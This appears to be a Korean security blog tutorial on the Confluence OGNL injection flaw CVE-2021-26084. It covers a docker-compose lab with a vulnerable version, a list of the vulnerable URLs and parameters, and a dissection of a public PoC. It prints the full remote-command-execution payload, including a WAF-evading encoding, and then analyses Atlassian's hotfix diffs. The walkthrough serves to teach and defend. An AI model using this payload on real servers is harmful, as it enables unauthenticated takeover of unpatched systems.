요약

  • 컨플루언스에서 권한 없이 원격 명령 실행 가능한 취약점 발생, 해당 취약점 패치 배포 완료 (2021-08-25)

  • OGNL(Object Graph Navigation Language) 취약점을 이용한 것으로, 이전에 발견된 Apache Struts2 (CVE-2017-5638)과 유사한 취약점. Velocity 지시자 파라미터는 = 기준으로 파싱되기 전에 먼저 실행이 되는 OGNL과 VTL 사이의 구조적 문제로 발생함

  • 해당 취약점을 활용한 exploit code가 공개되어있고, 권한 없는 사용자도 원격 실행이 가능하므로 빠른 패치가 필요함

이 문서에서는 아래 내용을 다룹니다

  • docker-compose 를 통한 취약점 재현 환경 설정 및 실습

  • 공개된 exploit code 분석

  • 실제 패치 내용 분석

취약점 정보

버전 정보

  • 패치 완료된 버전 : 6.13.23, 7.4.11, 7.11.6, 7.12.5, 7.13.0

취약한 URL 및 파라미터

URL파라미터로그인 하지 않고 공격 가능비고
/pages/createpage-entervariablesquerystringO로그인 없이 가능
/login.actiontoken회원 가입이 활성화 되어 있어야 함 (기본 비활성화)
/users/user-dark-featuresfeatureKeyX추가 기능 사용을 위한 페이지, 관리자의 허용 설정 필요
/pages/templates2/viewpagetemplate.actionquerystring, linkCreationX
/templates/editor-preload-containerssyncRevX
/template/custom/content-editorsourceTemplateId*X

공개된 PoC

취약점 실습 환경 구성

취약한 버전 컨플루언스 구동

docker-compose를 활용해서 컨플루언스를 구동해 봅시다. docker-compose 사용을 위해서는 docker desktop 설치가 필요합니다. 이 튜토리얼에서는 취약한 버전 7.12.4 버전을 기준으로 합니다.

docker-compose.yml

version: '3'
services:
  confluence:
    image: atlassian/confluence-server:7.12.4
    environment:
      - ATL_JDBC_URL=jdbc:postgresql://db:5432/confluence
      - ATL_JDBC_USER=confluence
      - ATL_JDBC_PASSWORD=donotuseinproduction
      - ATL_DB_DRIVER=org.postgresql.Driver
      - ATL_DB_TYPE=postgresql
    ports:
      - 8090:8090
    depends_on:
      - db
    restart: always

  db:
    image: postgres:11
    environment:
      - POSTGRES_PASSWORD=donotuseinproduction
      - POSTGRES_USER=confluence
      - POSTGRES_DB=confluence
    restart: always

위의 compose 파일 생성 후 아래 명령어로 confluence를 실행해 줍니다.

$ docker-compose up

실행 후에 Trial license를 등록하고, 아래쪽에 버전 정보가 취약한 버전임을 확인합니다.

PoC 실습

실행해 보기

실행할 PoC는 h3v0x/CVE-2021-26084_Confluence 입니다.

해당 PoC 코드를 실행하기 위해서는 공격 대상 페이지 URL 정보를 입력해야 합니다. 우리는 완전한 외부자인 것을 가정하고 공격하기 위해서, /pages/createpage-entervariables.action?SpaceKey=x 페이지를 활용해 봅시다.

우선 (1) 해당 페이지에 접근이 가능한지, (2) 실제 접근 시 SpaceKey 파라미터 내의 값이 응답값에 포함되는지 확인해 봅시다.

해당 페이지에 URL 직접접근을 할 경우, 로그인 하지 않았음에도 불구하고 에디터 창이 뜹니다. 디폴트 세팅 시 로그인한 사용자만 컨플루언스의 기능을 사용할 수 있기 때문에 다른 페이지의 경우 비로그인 상태로 접근 시 로그인 화면으로 즉시 리다이렉트 되는데, 특이한 페이지 인 것 같습니다. error

SpaceKey를 통해 넘긴 파라미터가 응답값 내 querystring에 SpaceKey=deguru로 출력되는것을 확인할 수 있습니다. reflect

세팅은 다 된것 같으니, 한번 PoC 코드를 실행시켜 봅시다. 명령 실행이 잘 되는 것을 확인할 수 있습니다.

$ python3 Confluence_OGNLInjection.py -u http://127.0.0.1:8090 -p /pages/createpage-entervariables.action?SpaceKey=x
--------------------------------------------------------------
[-] Confluence Server Webwork OGNL injection
[-] CVE-2021-26084
[-] https://github.com/h3v0x
---------------------------------------------------------------

> whoami
aaaaaaaa[confluence
]
>

PoC 코드 분석

PoC 코드는 매우 단순합니다. 우리가 입력한 URL에 실행할 명령어를 queryString 파라미터로 포함한 요청을 보내고 -> 응답값 내의 명령 실행 결과를 파싱하여 우리에게 보여줍니다. 웹서버 권한으로 모든 명령 실행이 가능합니다.

명령 실행을 위해 서버측에 보낸 코드는 아래와 같습니다.

xpl_data = {"queryString": "aaaaaaaa\\u0027+{Class.forName(\\u0027javax.script.ScriptEngineManager\\u0027).newInstance().getEngineByName(\\u0027JavaScript\\u0027).\\u0065val(\\u0027var isWin = java.lang.System.getProperty(\\u0022os.name\\u0022).toLowerCase().contains(\\u0022win\\u0022); var cmd = new java.lang.String(\\u0022"+cmd+"\\u0022);var p = new java.lang.ProcessBuilder(); if(isWin){p.command(\\u0022cmd.exe\\u0022, \\u0022/c\\u0022, cmd); } else{p.command(\\u0022bash\\u0022, \\u0022-c\\u0022, cmd); }p.redirectErrorStream(true); var process= p.start(); var inputStreamReader = new java.io.InputStreamReader(process.getInputStream()); var bufferedReader = new java.io.BufferedReader(inputStreamReader); var line = \\u0022\\u0022; var output = \\u0022\\u0022; while((line = bufferedReader.readLine()) != null){output = output + line + java.lang.Character.toString(10); }\\u0027)}+\\u0027"}

해당 코드를 조각내어 분석해 봅시다. 첫번째 코드 조각은, 명령 실행 시 서버 환경 확인 및 윈도우의 경우 cmd.exe, 그 외의 경우 bash 를 활용하여 명령 실행 할 수 있도록 서버의 실행 환경을 확인하는 코드입니다.

추가적으로, 코드 작성 시 자바 코드를 자바스크립트 문법으로 사용할 수 있도록 도와주는 ScriptEngineManager를 활용 하였습니다. 컨플루언스에 적용되어있는 시큐어 코딩 방식은 특정 프로퍼티, 메소드 등을 블랙리스트로 탐지하는 방식이여서 new String[]을 입력할 수 없습니다. 그러므로 명령 실행을 위한 명령어를 변수로 설정하는 것이 불가능하고, 따라서 명령 실행이 불가능 합니다. 이러한 제약사항을 ScriptEngineManager를 활용하여 우회합니다.

❗ 원본 코드에는 .eval 부분이 .\\u0065val 식으로 인코딩 되어 있어 (1) 인코딩 상태와 (2) 인코딩 되지 않은 상태 두가지 다 테스트 해 본 결과, 인코딩이 되어 있어도 정상적으로 .eval 형태로 인식하는 것을 확인 했습니다.

.eval로 작성해도 정상적으로 인식 함에도 불구하고 왜 이런 방식으로 작성해 두었는지 궁금했는데, 관련된 흥미로운 글을 발견했습니다.

요약) VMWare에 취약점 제보를 위해 제공했던 익스플로잇 코드가 github 내 공개 레포지토리인 Nuclei template 의 pull request에 등록 되어 공격 페이로드가 외부 공개 되었다는 주장입니다.

상세) VMWare에 접수한 익스플로잇 코드는 VMWare 사에 적용되어있는 WAF를 우회하기 위하여 eval이 아닌 \\u0065val로 설정해 두었고, 명령 실행 결과를 구분하기 위하여 aaaaaaaaa[실행결과] 형태로 결과물을 출력해 주는것이 특징입니다. 해당 pull request 내에 사용된 공격 payload는 익스플로잇 코드 유출을 주장하는 사용자가 VMWare에 접수한 코드와 동일합니다. 또한 이 게시물에서 다루는 PoC 코드와도 동일합니다. 해당 글 작성자는 2021년 8월 31일 오전 10:39 (UTC+7)에 VMWare에 티켓을 접수하였고, 위의 pull request는 2021년 9월 1일 오전 3:44(UTC+7)에 올라왔습니다.

원문) [Atlassian Confluence CVE-2021–26084]::: The other side of bug report!

Class.forName(\'javax.script.ScriptEngineManager\').newInstance().getEngineByName(\'JavaScript\').eval(\'var isWin = java.lang.System.getProperty(\"os.name\").toLowerCase().contains(\"win\");

var cmd = new java.lang.String(\""+cmd+"\");
var p = new java.lang.ProcessBuilder();

if(isWin){p.command(\"cmd.exe\", \"/c\", cmd); }
else{p.command(\"bash\", \"-c\", cmd); }
p.redirectErrorStream(true);

명령 실행을 위한 세팅이 끝나면, 실제 환경에 맞는 실행 명령 전달을 통해 명령 실행 및 결과를 출력 합니다.

var process= p.start();
var inputStreamReader = new java.io.InputStreamReader(process.getInputStream());
var bufferedReader = new java.io.BufferedReader(inputStreamReader);
var line = \"\";
var output = \"\";
while((line = bufferedReader.readLine()) != null){
  output = output + line + java.lang.Character.toString(10);
}\')}+\'

실제 패치 내용 분석

아틀라시안에서는 해당 취약점 패치를 위한 핫픽스를 공개 하였습니다. 패치를 적용한 후 패치 내용을 분석해 봅니다. 중요한 내용 위주로 보겠습니다.

File 1(confluence/users/user-dark-features.vm)과 File 2(confluence/login.vm)에는 변동사항이 없습니다.

File 1: 'confluence/users/user-dark-features.vm':
   a. backing up file.. done
   b. updating file.. done
   c. showing file changes..
   d. validating file changes.. ok
   e. file updated successfully!

File 2: 'confluence/login.vm':
   a. backing up file.. done
   b. updating file.. done
   c. showing file changes..
   d. validating file changes.. ok
   e. file updated successfully!

File 3의 경우는 일부 변경사항이 있습니다. 기존의 $!queryString 에서 queryString으로 변경됐습니다. linkCreation도 마찬가지로 $가 빠졌습니다. Velocity의 지시자 파라미터로 처리되지 않도록 변경된 것입니다. Velocity의 지시자 파라미터는 = 기준으로 파싱되기 전에 먼저 실행이 되는 OGNL과 VTL 사이의 구조적 문제로 발생하는 취약점으로 보입니다.

File 3: 'confluence/pages/createpage-entervariables.vm':
   a. backing up file.. done
   b. updating file.. done
   c. showing file changes..
24c24
<                 #tag ("Hidden" "name='queryString'" "value='$!queryString'")
---
>                 #tag ("Hidden" "name='queryString'" "value=queryString")
26c26
<                 #tag ("Hidden" "name='linkCreation'" "value='$linkCreation'")
---
>                 #tag ("Hidden" "name='linkCreation'" "value=linkCreation")
   d. validating file changes..ok
   e. file updated successfully!

File 4(content-editor.vm)와 5(confluence-editor-loader*.jar)도 마찬가지로 입력값이 변수 처리 되지 않도록 패치 되었습니다.

File 4: 'confluence/template/custom/content-editor.vm':
   a. backing up file.. done
   b. updating file.. done
   c. showing file changes..
64c64
<         #tag ("Hidden" "name='queryString'" "value='$!queryString'")
---
>         #tag ("Hidden" "name='queryString'" "value=queryString")
85c85
<             #tag ("Hidden" "id=sourceTemplateId" "name='sourceTemplateId'" "value='${templateId}'")
---
>             #tag ("Hidden" "id=sourceTemplateId" "name='sourceTemplateId'" "value=templateId")
   d. file updated successfully!

File 5: 'confluence/WEB-INF/atlassian-bundled-plugins/confluence-editor-loader*.jar':
   a. extracting templates/editor-preload-container.vm from confluence/WEB-INF/atlassian-bundled-plugins/confluence-editor-loader-7.12.4.jar..
Archive:  confluence/WEB-INF/atlassian-bundled-plugins/confluence-editor-loader-7.12.4.jar
  inflating: ./templates/editor-preload-container.vm
   b. updating file.. done
   c. showing file changes..
56c56
< #tag ("Hidden" "id=syncRev" "name='syncRev'" "value='$!{action.syncRev}'")
---
> #tag ("Hidden" "id=syncRev" "name='syncRev'" "value=syncRev")
   d. validating file changes.. ok
   e. updating confluence/WEB-INF/atlassian-bundled-plugins/confluence-editor-loader-7.12.4.jar with ./templates/editor-preload-container.vm..updating: templates/editor-preload-container.vm (deflated 59%)
-rw-r--r--  1 ...  ....  13370 Sep  9 23:52 confluence/WEB-INF/atlassian-bundled-plugins/confluence-editor-loader-7.12.4.jar
   f. cleaning up temp files..ok
   g. extracting templates/editor-preload-container.vm from confluence/WEB-INF/atlassian-bundled-plugins/confluence-editor-loader-7.12.4.jar again to check changes within JAR..
...skipping...

완료 후 PoC를 재실행 해 보면 아래와 같이 명령어가 해석되지 않고 그대로 출력되는 것을 확인할 수 있습니다.

❯ python3 Confluence_OGNLInjection.py -u http://127.0.0.1:8090 -p "/pages/createpage-entervariables.action?SpaceKey=deguru"
---------------------------------------------------------------
[-] Confluence Server Webwork OGNL injection
[-] CVE-2021-26084
[-] https://github.com/h3v0x
---------------------------------------------------------------

> whoami
aaaaaaaa\u0027+{Class.forName(\u0027javax.script.ScriptEngineManager\u0027).newInstance().getEngineByName(\u0027JavaScript\u0027).\u0065val(\u0027var isWin = java.lang.System.getProperty(\u0022os.name\u0022).toLowerCase().contains(\u0022win\u0022); var cmd = new java.lang.String(\u0022whoami\u0022);var p = new java.lang.ProcessBuilder(); if(isWin){p.command(\u0022cmd.exe\u0022, \u0022/c\u0022, cmd); } else{p.command(\u0022bash\u0022, \u0022-c\u0022, cmd); }p.redirectErrorStream(true); var process= p.start(); var inputStreamReader = new java.io.InputStreamReader(process.getInputStream()); var bufferedReader = new java.io.BufferedReader(inputStreamReader); var line = \u0022\u0022; var output = \u0022\u0022; while((line = bufferedReader.readLine()) != null){output = output + line + java.lang.Character.toString(10); }\u0027)}+\u0027

결론

  • 컨플루언스를 쓴다면, 최신버전으로 업데이트 하거나 핫픽스가 반드시 필요합니다.

References